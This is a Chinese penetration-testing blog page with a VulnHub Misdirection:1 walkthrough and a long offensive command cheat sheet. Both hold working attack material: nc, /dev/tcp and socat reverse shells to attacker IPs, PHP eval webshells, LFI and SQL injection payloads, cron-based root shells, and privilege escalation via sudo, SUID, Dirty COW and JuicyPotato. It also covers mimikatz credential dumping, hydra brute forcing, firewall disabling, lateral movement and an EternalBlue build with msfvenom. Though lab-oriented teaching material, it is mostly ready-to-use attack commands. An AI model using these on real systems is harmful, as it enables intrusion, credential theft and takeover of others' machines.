首页
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
5,285 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
4,485 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
3,260 阅读
4
几个常见的密码字典推荐
2,630 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
2,592 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
登录
Search
标签搜索
Windows渗透
域渗透
HackMyVm
CyberStrikeLab靶场
内网渗透
渗透测试
网络安全
Web安全
cyberstrikelab
OSCP
SQL注入
WAF绕过
信息收集
渗透工具
靶场
靶场推荐
MSF
ThinkPHP漏洞
Vulfocus
vulnhub
泷羽Sec
累计撰写
185
篇文章
累计收到
0
条评论
首页
导航
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
工具导航
留言面板
友情链接
搜索到
175
篇与
的结果
2025-06-20
靶机Misdirection: 1 ~ VulnHub
Misdirection: 1 ~ vulnhub下载链接见:https://download.vulnhub.com/misdirection/Misdirection.zip这里我们需要看首先我们使用arp-scan对内网主机进行发现随后对靶机进行端口扫描,有一个22端口ssh协议,80端口开启了http协议,还有3306的mysql数据库端口,8080也是http协议访问80端口,并从wappalyzer信息收集插件看到这个cms是Drupal随后点击进入到这个界面,告诉我们说这个系统是开源的,并且有源代码,还有一个下载选项登录框尝试万能密码,却限制了我们只能使用邮箱登录,随后我们尝试注册一个用户却提示了一个信息,无法发送电子邮件随后这里有一个Source Code源码,查看这个作者的源码中包含了一个admin,(其他代码信息没啥利用价值)尝试访问却提示管理因不安全通道而关闭突然发现我们目录扫描还没扫呢,通过扫描结果也能看到目标站点设置了防目录扫描功能切换思路,我们来到8080端口,意外的发现这是一个wordpress的内容管理系统按照常规的方式,首先是后台的爆破http://10.10.10.129:8080/wordpress/wp-admin但是呢它重定向到了另一个页面,而且这个页面并不是在当前的这个界面当我利用dirb进行目录扫描的时候呢,不扫wordpress这个命令,有一个debug发现了新的突破口当我想要创建一个交互式的终端的时候呢,发现使用su命令并不能正常的使用python3 -c 'import pty;pty.spawn("/bin/bash")'只能被迫使用nc进行反弹shell,反弹成功后就能利用su命令切换用户啦rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.128 1234 >/tmp/f接下来就是信息收集,一条龙下来就可,也可以使用自定义脚本学习文章参考:近400个渗透测试常用命令,信息收集、web、内网、隐藏通信、域渗透等等全部获取完成后,你会发现几个关键的点,sudo 可以利用,有一个/bin/bash,但是需要brexit用户才能用奥还有个思路就是前端有wordpress,那么必定和数据库有交互,我们来看配置文件,能看到密码找到了第一个和密码相关的,那么这个密码是不是root用户的密码呢?很明显,不会让你这么轻易获得root权限的登录数据库mysql -ublog -pabcdefghijklmnopqrstuv找用户表破解失败了,不过不要紧我们继续回到那个sudo,他说了要求brexit用户才能执行那个/bin/bash,那么久指定一个用户吧sudo -u brexit /bin/bash相当的棒,提权成功,经过一番折磨后,该收集的信息都收集了,直到我翻到.viminfo,看到了用户编辑过/etc/passwd,这个文件主要记录了一些vim的编辑历史查看权限,这下不就有思路啦(那么多信息收集命令,既然少了这么重要的东西。。。。。。赶紧补上)然后我们仿照/etc/passwd的格式生成一个账号 bAIbAIxiaoyu 和密码123456,将这个用户分到root组下echo 'bAIbAIxiaoyu:$1$oFd2MoKR$eVjr6Fe7JWwjAPEfaTQSy.:0:0:root:/root:/bin/bash' >> /etc/passwd至此渗透结束往期推荐红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎!媲美DeepSeek,附源码【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细
2025年06月20日
1,301 阅读
0 评论
0 点赞
2025-06-14
渗透测试命令汇总,常用的渗透测试命令大全
渗透测试命令汇总在正式开始之前推荐一个永久的渗透测试知识库点击下方蓝色字体即可加入奥!-----------⬇⬇⬇⬇⬇⬇⬇⬇⬇⬇⬇⬇⬇⬇⬇⬇⬇⬇⬇----------➡➡➡➡➡一个永久的渗透知识库,欢迎您的加入⬅⬅⬅⬅⬅-----------⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆----------下面就是我平时在打靶过程中常用的一些命令,有些可能会疏忽,不过会一直更新的一、TOP10利用1、文件包含类payload利用php://filter/read=convert.base64-encode/resource=index.phpphp://filter/resource=index.phpphp://filter/string.strip_tags|convert.base64-decode/resource=shell.phpdata://text/plain,<?php%20phpinfo();?>data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2bfile:///etc/passwdhttp://127.0.0.1/cmd.php?cmd=php://inputPOST数据:<?php phpinfo()?>curl http://10.10.10.200/test.php?file=/home/qiu/.ssh/id_rsa# 在文件包含中几个重要的文件/home/qiu/.ssh/id_rsa # 私钥chmod 600 ~/.ssh/id_rsa # 需要赋予权限,否则可能利用不成功,必须600ssh -i id_rsa root@10.10.10.200 # 使用密匙文件登录2、目录扫描类# gobuster添加UA,指定扫描的文件类型gobuster dir -u http://10.10.10.192/NickIzL33t/ -w /usr/share/wordlists/rockyou.txt -x txt,zip,php,html -H 'User-Agent:Mozilla/5.0 (iPhone; CPU iPhone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default' -s 200 -b '' -t 200# gobuster扫描指定的文件类型gobuster dir -u http://10.10.10.201/seeddms51x -w /data/SecLists_Dict/Discovery/Web-Content/directory-list-1.0.txt -x html,txt,php,js# 使用dirb指定扫描的文件类型dirb http://192.168.5.139/w/h/i/s/p/e/r/the_abyss/ -X .txt .img .html# 其他自行查找# dirsearchpython3 dirsearch.py -e php,txt,zip -u https://target # 简单的查看网址目录和文件python3 dirsearch.py -e php,txt,zip -u https://target -w db/dicc.txt # 使用文件拓展名为php,txt,zip的字典扫描目标urlpython dirsearch.py -u http://xxxx -r # 递归扫描,不过容易被检测python dirsearch.py -u http://xxxx -r -t 30 # 线程控制请求速率python dirsearch.py -u http://xxxx -r -t 30 --proxy 127.0.0.1:8080 # 使用代理3、常见登录框万能密码' or 1=1 --+' or 1=1 -- +' or 1=1#" or 1=1 --+" or 1=1 -- +" || 1=1 -- +" || 1=1 --+" || 1=1 #二、信息收集1、基本信息收集Linuxuname -ahostname # 主机名# 系统信息相关lsb_release -acat /etc/os-releasecat /proc/version# 权限相关sudo -l # 查看可以使用sudo的文件find / -perm -4000 -print 2>/dev/null # 方式1:查找 SUID文件find / -perm -u=s -type f 2>/dev/null # 方式2:查找 SUID文件ls -al /etc/cron* # 查看所有计划任务cat /etc/crontabcrontab -lfind / -perm 777 -type f -u root 2>/dev/null # 查看文件权限为777的文件信息,root用户find / -perm 777 -type f 2>/dev/null # 查看文件权限为777的文件信息# 其他信息收集ps -auxnetstat -tulnphistorypwd # 查看当前目录whoami # 查看当前用户grep -rno stapler # 筛选当前目录以及递归的子目录所有文件中包含stapler字符的文件,并显示行号windows普通信息收集ipconfig /all # 查看所有网络信息,包括域和dnsnet view # 查看域内用户net localgroup administrators # 查看Administrators组的成员chdir # 查看当前目录netstat -ano # 查看进程信息systeminfo | findstr /i "system type" # 查看系统类型windows信息收集进阶sc query WinDefend # 检查是否存在杀软windows defenderwindows信息收集之MSFmeterpreter > run post/windows/gather/enum_applications # 枚举已安装的软件meterpreter > run post/windows/gather/enum_firewall # 检查防火墙状态meterpreter > run post/windows/gather/enum_services # 枚举所有服务fscancd fscan//进入fscan文件夹# 执行在windows下为fscan.exe,Linux下为./fscan# 例如./fscan -h 192.168.101.1/24 # 启动fscan并扫描网段fscan.exe -h 192.168.x.x # 默认使用全部模块fscan.exe -h 192.168.x.x -rf id_rsa.pub # redis 写私钥fscan.exe -h 192.168.x.x -c whoami # ssh爆破成功后,命令执行fscan.exe -h 192.168.x.x -m ms17010 # 指定模块fscan.exe -h 192.168.x.x -m ssh -p 2222 # 指定模块ssh和端口fscan.exe -h 192.168.x.x -h 192.168.1.1/24 # C段fscan.exe -h 192.168.x.x -h 192.168.1.1/16 # B段fscan.exe -h 192.168.x.x -h 192.168.1.1/8 # A段的192.x.x.1和192.x.x.254,方便快速查看网段信息fscan.exe -h 192.168.x.x -hf ip.txt # 以文件导入其他持续更新中。。。2、MYSQL相关# 常用报错mysql -uwordpress -pWordPressISBest -h 172.18.0.2 --skip-sslmysql -h10.233.117.225 -P3306 -uroot -p --ssl-mode=DISABLED# sql语句update tblUsers set pwd='e10adc3949ba59abbe56e057f20f883e' where login='admin';# sql信息收集以及利用方法SHOW VARIABLES LIKE 'secure_file_priv'; # 是否允许向外部写入文件# 接下来就向外部写文件# 通过修改日志文件路径,来构造一句话马SHOW VARIABLES LIKE 'general_log_file'; # 显示mysql日志文件路径,执行过的命令的文件路径set global general_log=on; # 开启查询日志set global general_log_file='D:\\\\phpstudy\\www\\shell.php'; # 设置查询日志存储路径select '<?php phpinfo();?>'; # 查询一句话set golbal general_log=off; # 最后关闭查询日志# phpmyadmin包含session文件# 1、首先创建一张表。2、写入一个字段为一句话木马 <?php @eval($_GET['123']);?>http://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_3cfb6084f034677df82ef00120cce4fd3、通信类信息收集本地ip探测,Linux shell脚本# Linuxfor i in {1..254}; do (ping -c 1 172.18.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;windows脚本,ip探测for/l %i in(1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | find /i "ttl"三、常用渗透命令1、Windowscmd下载certutil -urlcache -split -f http://192.168.93.20:5000/frpc.ini c:\mimikatz.exe # 从指定服务器下载文件taskkill /PID 356 /F # 强制结束进程信息powershell# 更新中2、Linux# 见信息收集反弹shell中的监听方socat监听本地端口socat TCP-LISTEN:4444 STDOUTnc监听本地端口nc -lvnp 1234三、交互式终端利用socat工具创建交互式终端并反弹shell(没有python的使用方法)./socat tcp:10.10.10.128:1234 exec:'/bin/bash -li',pty,stderr,sigint,sighup,sigquit,sane利用python创建交互式终端python -c 'import pty; pty.spawn("/bin/bash")';python2 -c 'import pty; pty.spawn("/bin/bash")';python3 -c 'import pty; pty.spawn("/bin/bash")';利用MSF创建交互式终端use post/multi/manage/shell_to_meterpreterset session 2 # 设置已经上线的会话run使用ssh创建密匙文件ssh-keygen -t rsa -b 4096# 回车# 回车# 回车# 靶机wget 10.10.10.130:5000/id_rsa.pubchmod 700 /tmp/forest/home/ubuntu/.ssh/cp id_rsa.pub /tmp/forest/home/ubuntu/.ssh/authorized_keyschmod 600 /tmp/forest/home/ubuntu/.ssh/authorized_keys# 对于低版本的openssh需要使用算法配置,下面是一些常用的排错方法ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsassh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa ubuntu@10.10.10.131shell敲击(敲门)for x in 1466 67 1469 1514 1981 1986; do nmap -Pn -p $x 10.10.10.194; done# orknock 10.10.10.194 1466 67 1469 1514 1981 1986 -v一句话木马php、一句话马<?php @eval($_POST['pass']);?>rbash / shell 逃逸命令ssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn(\"/bin/bash\")'"wfuzz模糊测试相关# 安卓url爆破响应为200的结果(添加UA)wfuzz -u http://10.10.10.192:8008/NickIzL33t/FUZZ.html -w small_rockyou.txt -H 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default' --sc 200# 普通url爆破响应为200的结果wfuzz -u http://10.10.10.192:8008/NickIzL33t/FUZZ.html -w small_rockyou.txt --sc 200# 筛选出响应长度在100到100000之间的结果wfuzz -u http://10.10.10.200/test.php?FUZZ=/etc/passwd -w /data/SecLists_Dict/Discovery/Web-Content/small_common.txt--ss "^(.{100,100000})$"# 指定从1开始模糊测试wfuzz -u http://10.10.10.203/wordpress/?page_id=FUZZ -z range,1-1000 --sc 200密码爆破类别1、hydra爆破海德拉爆破网页post表单(-f爆破成功一个就停止),^USER^和^PASS^分别代表的用户名和密码的变量,Invalid表示排除字段,即出现了这个字段表示爆破失败hydra -l rmichaels -P /usr/share/wordlists/fasttrack.txt -t 4 -vV 192.168.209.132 http-post-form "/imfadministrator/index.php:user=^USER^&pass=^PASS^:Invalid"海德拉爆破ssh / rdp(win远程)hydra -l rmichaels -P /usr/share/wordlists/fasttrack.txt -t 4 -vV 192.168.209.132 ssh海德拉爆破smbproxychains hydra -l Administrator -P pass.txt \-s 445 -t 4 -vV -m "SMB" \smb://192.168.138.1382、zip压缩包密码爆破fcrackzip -D -p pass.txt -u t0msp4ssw0rdz.zip3、wordpress后台爆破wpscan --url http://10.10.10.203/wordpress -e u -P /data/SecLists_Dict/Passwords/darkweb2017-top10000.txt隐藏通信类代理reGeorg (http / https隧道)python2 reGeorgSocksProxy.py -u http://10.10.10.129:8000/tunnel.php # 这样会开启一个本地代理到8888端口,挂在后台vi /etc/proxychains4.conf # 修改最后一行为代理的端口和ip地址MSF代理添加路由route # 查看路由信息run autoroute -s 172.18.0.0/24 # 添加路由表run autoroute -p # 查看路由表情况进行内网探测(ip存活数量)以及端口扫描use auxiliary/scanner/portscan/tcpset session 3set rhosts 172.18.0.0/24runfrp代理工具的使用方法# kalipython -m http.server 443# 靶机cd /tmpcurl -O 10.10.10.128:443/frpccurl -O 10.10.10.128:443/frpc.inichmod +x frpc# kali./frps -c frps.ini# 靶机./frpc -c frpc.inimicrosocks 轻量级的socks代理工具microsocks -1 -i listenip -p port -u user -P password -b bindaddr # 参数绑定microsocks -b 0.0.0.0 -p 1080 # 不用密码直接用ssh端口转发ssh -CfNg -L 2021:192.168.110.132:3389 kali@192.168.110.128# 132是靶机,128是kali# 解释:这条命令的作用,在攻击机上建立一个本地ssh服务器的ssh隧道# 将本地的2021端口的流量通过这个隧道转发到远程主机192.168.110.132的3389端口# 重点如下:# 这样,当你在本地机器上访问攻击机kali本地的2021端口时,实际上访问的是远程主机192.168.110.132的3389端口lcx端口转发wget http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip# windows靶机lcx.exe -slave 192.168.110.128(攻击机IP) 4444 127.0.0.1 3389# kali./portmap -m 2 -p1 4444 -h2 192.168.110.128 -p2 5555Linux其他命令强制终止一个进程netstat -tulnpsudo kill -9 $(sudo lsof -t -i:8888)docker系列docker安装,修改源deb http://mirrors.aliyun.com/ubuntu/ jammy main restricted universe multiversedeb-src http://mirrors.aliyun.com/ubuntu/ jammy main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ jammy-security main restricted universe multiversedeb-src http://mirrors.aliyun.com/ubuntu/ jammy-security main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ jammy-updates main restricted universe multiversedeb-src http://mirrors.aliyun.com/ubuntu/ jammy-updates main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ jammy-backports main restricted universe multiversedeb-src http://mirrors.aliyun.com/ubuntu/ jammy-backports main restricted universe multiverseecho '源' > /etc/apt/sources.listapt-get updateapt-get install docker.iodocker逃逸低版本docker run --rm -it -v /:/tmp/1/ wordpress /bin/bashcd /tmp/1cat flag_3特权逃逸(利用条件:管理员启动容器执行docker run —privileged)mkdir /tmp/forest # 创建一个文件夹mount /dev/sda1 /tmp/forest # 挂载磁盘ls /tmp/forest # 查看挂载后的磁盘内容docker信息收集ls -alh /.dockerenv # 判断是否为docker环境,存在则是,进行下一条命令,不存在则否cat /proc/1/cgroup # 通过控制组(cgroup)信息判断容器化环境反弹shell绕过1、bash绕过bash -c '/bin/bash -i >& /dev/tcp/10.10.10.128/1234 0>&1' # 利用 -c 来执行命令2、写计划任务也可以用来进行docker逃逸echo "/bin/bash -i >& bash -i >& /dev/tcp/10.10.10.130/1234 0>&1">> /tmp/forest/tmp/shell.shchmod +x /tmp/forest/tmp/shell.shcat /tmp/forest/tmp/shell.sh# 写入crontab计划任务,表示每隔1分钟以root权限执行一次计划echo '*/1 * * * * root bash /tmp/shell.sh' > /tmp/forest/etc/crontabcat /tmp/forest/etc/crontabnc -lvnp 1234提权系列命令bash提权/usr/bin/bash -p软连接+修改环境变量提权ramses@NullByte:/var/www/backup$ ./procwatchPID TTY TIME CMD3407 pts/0 00:00:00 procwatch3408 pts/0 00:00:00 sh3409 pts/0 00:00:00 psramses@NullByte:/var/www/backup$ ln -s /bin/sh psramses@NullByte:/var/www/backup$ export PATH=.:$PATHramses@NullByte:/var/www/backup$ ./procwatchdocker逃逸成功,是root权限(docker容器),即可利用如下命令提权(计划任务提权/添加计划任务)echo "/bin/bash -i >& bash -i >& /dev/tcp/10.10.10.130/1234 0>&1">> /tmp/forest/tmp/shell.shchmod +x /tmp/forest/tmp/shell.shcat /tmp/forest/tmp/shell.sh# 写入crontab计划任务,表示每隔1分钟以root权限执行一次计划echo '*/1 * * * * root bash /tmp/shell.sh' > /tmp/forest/etc/crontabcat /tmp/forest/etc/crontabnc -lvnp 1234tcpdump提权COMMAND='id'TF=$(mktemp) # 一个临时文件路径echo "$COMMAND" > $TF # 追加要执行的命令到上面那个文件chmod +x $TF # 赋予执行权限sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root# 注意这里 ⬆ 是你需要监听的网卡地址# 即可提权执行命令find提权(find需要具有suid权限,即可提权)# sudosudo find . -exec /bin/sh \; -quit# shellfind . -exec /bin/sh \; -quit计划任务提权# 命令crontab -e# sudosudo crontab -e# 修改计划任务文件,或者追加一个定时任务,前提是root用户的计划任务mysql提权# 获得一个shellmysql -e '\! /bin/sh'# sudo + shellsudo mysql -e '\! /bin/sh'# udf提权,后续文章讲解脏牛提权# exp地址https://github.com/gbonacini/CVE-2016-5195# 脏牛提权https://github.com/aishee/scan-dirtycow/blob/master/dirtycowscan.sh# 一般情况靶机上面无法运行脏牛的提权文件,需要结果预编译后执行# g++编译.cpp文件为可执行文件:g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil# gcc编译.c文件为可执行文件:gcc -pthread dirty.c -o dirty -lcryptgcc 45010.c -o 45010烂土豆提权(windows)https://github.com/foxglovesec/Potatojuicypotato.exe(多汁土豆提权)# 下载地址https://github.com/ohpe/juicy-potato# 提权步骤# 查看本地用户的权限,是否具有SeImpersonate或SeAssignPrimaryToken权限whoami /allwhoami priv# 如果开启SeImpersonate权限,juicypotato的参数可以使用-t t# 如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u# 如果均开启,可以选择-t * 如果均未开启,那么无法提权。# 查看RPC默认端口是否为135netstat -abno# 若rpc服务被修改,则使用-n 参数指定修改后的端口,如 -n 111# 添加防火墙规则,允许135端口入站netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow# 不同操作系统选择可用的CLSID# 参考列表:https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md# 列表中随便选择了一个6d18ad12-bde3-4393-b311-099c346e6df9# 选择系统未占用的端口作为监听端口# 最终提权命令如C:\wmpub\JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {6d18ad12-bde3-4393-b311-099c346e6df9}另一个大佬写的webshell、shellcode的juicyPotato.exe# 下载地址https://github.com/uknowsec/JuicyPotato# 提权命令C:\juicyPotato_32.exe -p whoami# 执行命令execute -f juicypotato.exe -p net user test 123456execute -f juicypotato.exe -p net localgroup administrators test /add...... 持续更新中,访问泷羽Sec官网即可,longyusec.comFTP系列ProFTPd拷贝漏洞telnet 10.10.10.198 21site cpfr /home/patrick/version_control # 将这个文件拷贝site cpto /home/ftp/upload/version_control # 拷贝的文件放到这里ftp常用命令get version_control # 下载文件send version_control # 将本地文件发送到服务器(上传)CMS系列wordpress默认主题目录(主题名称需要小写)curl http://10.10.10.203/wordpress/wp-content/themes/twentynineteen/secret.phpjoomla内容管理系统,利用网站https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cnjoomla默认主题目录http://192.168.1.110/templates/beez3/index.php域信息收集域内基础信息收集net view /domain # 查看域net view /domain:XXX(域名) # 查看域内所有的计算机net group /domain # 查询域内所有用户组列表net group "domain computers" /domain # 查看所有域成员计算机列表net accounts /domain # 获取域密码信息nltest /domain_trusts # 获取域信任信息查找域控制器# 查看域内控制器的机器名nltest /DCLIST:XXX# 查看域控制器的主机名Nslookup -type=SRV _ldap._tcp# 查看当前时间net time /domain# 查看域控制器组# 真实环境中,一般存在两台或两台以上的域控制器,其目的是:一旦主域控制器发生故障,# 备用的域控制器可以使域内服务验证正常进行。net group "Domain Controllers" /domainnetdom query pdc获取域内的用户和管理员信息查询所有域用户列表# 向域控制器进行查询net user /domain# 获取域内用户详细信息wmic useraccount get /all# 查看存在的用户dsquery user# 查询域内置本地管理员组用户net localgroup administrators /domain查询域管理员用户组# 查询域管理员用户net group "domain admins" /domain# 查询管理员用户组net group "Enterprise Admins" /domain域管理员定位工具# 下载https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon# 参数psloggedon [-] [-l] [-x] [\\computername|username]-:显示支持的选项和用于输出值的单位。-l:仅显示本地登录,不显示本地和网络资源登录。-x:不显示登录时间。\\computername:指定要列出登录信息的计算机的名称。Username:指定用户名,在网络中搜索该用户登录的计算机。查找域管理进程本机检查# 获取域管理员列表net group "Domain Admins" /domain# 列出本机所有进程及进程用户Tasklist /v# 寻找是否有进程所有者为域管理员的进程查询域控制器的域用户会话# 查询域控制器列表net group "Domain Controllers" /domain# 收集域管理员列表net group "Domain Admins" /domain# 收集所有活动域会话列表Netsess.exe –h# 交叉引用域管理员列表与活动会话列表# 将域控制器列表添加到 dcs.txt 中,将域管理员列表添加到 admins.txt 中,并和 netsess.exe 放在同一个目录下。运行如下脚本后,会在当前目录下生成一个 sessions.txt 文本文件FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr/I %a# 其他脚本下载[GDA](https://github.com/nullbind/Other-Projects/tree/master/GDA)扫描远程系统上运行的任务# 同样首先从“域管理员”组中收集域管理员的列表。net group "Domain Admins" /domain# 然后使用下列脚本,其中 ips.txt 填入目标域系统的列表,在 names.txt 填入收集来的域管理员的列表。FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause扫描远程系统上 NetBIOS 信息# 同样,先收集域管理员列表,然后将目标域系统列表添加到 ips.txt 文件中,将收集到的域管理员列表添加到 admins.txt 文件中,并置于同一目录下.for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i# 这里也可以使用 nbtscan 工具。先收集域管理员列表,然后将目标域系统列表添加到ips.txt 文件中,将收集到的域管理员列表添加到 admins.txt 文件中,和 nbtscan 工具置于同一目录下.for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %ipowershell域内信息收集Get-NetDomain # 获取当前用户所在的域名称。Get-NetUser # 返回所有用户的详细信息。Get-NetDomainController # 获取所有域控制器。Get-NetComputer # 获取所有域内机器的详细信息。Get-NetOU # 获取域中的 OU 信息。Get-NetGroup # 获取所有域内组和组成员信息。Get-NetFileServer # 根据 SPN 获取当前域使用的文件服务器。Get-NetShare # 获取当前域内所有网络共享。Get-NetSession # 获取在指定服务器存在的会话信息。Get-NetRDPSession # 获取在指定服务器存在的远程连接信息。Get-NetProcess # 获取远程主机的进程信息。Get-UserEvent # 获取指定用户的日志信息。Get-ADObject # 获取活动目录的对象信息。Get-NetGPO # 获取域所有组策略对象。Get-DomainPolicy # 获取域默认或域控制器策略。Invoke-UserHunter # 用于获取域用户登录计算机及该用户是否有本地管理权限。Invoke-ProcessHunter # 查找域内所有机器进程用于找到某特定用户。Invoke-UserEventHunter # 根据用户日志获取某域用户登录过哪些域机器域渗透/横向移动/windows渗透枚举域内用户netexec ldap 10.10.11.51 -d sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --users域提权ms14-068ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123使用mimikatz枚举票据mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造mimikatz # kerberos::list //查看当前机器凭证mimikatz # kerberos::ptc TGT_douser@DEMO.COM.ccache //将票据注入到内存中mimikatz # sekurlsa::logonpasswords //显示所有的密码使用mimikatz执行查看日志发现抓到了域控的明文口令mimikatz.exe log privilege::debug sekurlsa::logonpasswords登录,连接并查看域控,通过net use挂载域控共享目录net use \\192.168.93.10\ipc$ "zxcASDqw123!!" /user:Administrator # 使用密码登录到域/SMBnet use \WIN-ENS2VR5TR3Ndir \\WIN-ENS2VR5TR3N\c$将一个脚本拷贝到域主机上去copy C:\nc.exe \\WIN-ENS2VR5TR3N\c$\nc.exe创建执行任务,关闭防火墙sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"sc \\WIN-ENS2VR5TR3N start unablefirewall第一种上线上线方法:创建nc反弹shell上线sc \\WIN-ENS2VR5TR3N create ncshell binpath= "c:\nc.exe 192.168.183.129 1234 -e cmd"sc \\WIN-ENS2VR5TR3N start ncshell第二种方法:添加计划任务上线shell at \\192.168.138.138 22:10:00 c:\win7beacon.exe放行3389端口netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389修改注册表,设置允许远程登录reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /fshutdown /r /t 0域内SMB爆破proxychains hydra -l Administrator -P pass.txt \-s 445 -t 4 -vV -m "SMB" \smb://192.168.138.138创建计划任务执行命令shell at \\192.168.93.20 23:16:00 'netsh advfirewall set allprofiles state off'windows渗透手工干永恒之蓝,脚本利用以及shellcode生成和使用git clone https://github.com/worawit/MS17-010.gitnasm -f bin eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.binnasm -f bin eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.binMSFvenom -p windows/x64/shell_reverse_tcp LPORT=2222 LHOST=192.168.93.100 --platform windows -a x64 --format raw -o sc_x64_payload.binMSFvenom -p windows/shell_reverse_tcp LPORT=2222 LHOST=192.168.183.129 --platform windows -a x86 --format raw -o sc_x86_payload.bincat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bincat sc_x86_kernel.bin sc_x86_payload.bin > sc_x86.binpython eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.binproxychains python ../eternalblue_exploit7.py 192.168.183.149 sc_all.bin域这块就差不多学了这么多,还有补充的话,欢迎师傅们留言遇到的一些问题1、ssh连接排错方案ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@10.10.10.130# Unable to negotiate with 10.10.10.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dssssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsassh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa ubuntu@10.10.10.131此处省略1w字,暂时就这么多往期推荐【内网渗透】隐藏通信隧道技术内网渗透,流量转发Linux内网渗透(2w字超详细)AD域内网渗透-三种漏洞利用方式【OSCP】vulnerable_docker,三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式内网渗透必备,microsocks,一个轻量级的socks代理工具【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!绝对干货!DC-2综合渗透,rbash逃逸,git提权,wordpress靶场渗透教程【渗透测试】12种rbash逃逸方式总结红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略SQL注入中各种WAF的绕过方式,狗,盾,神,锁,宝利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细大型翻车现场,十种WAF绕过姿势,仅成功一种喜欢长文吗?1w字图文带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透
2025年06月14日
1,140 阅读
0 评论
0 点赞
2025-06-14
【内网渗透】隐藏通信隧道技术,牢饭直通车
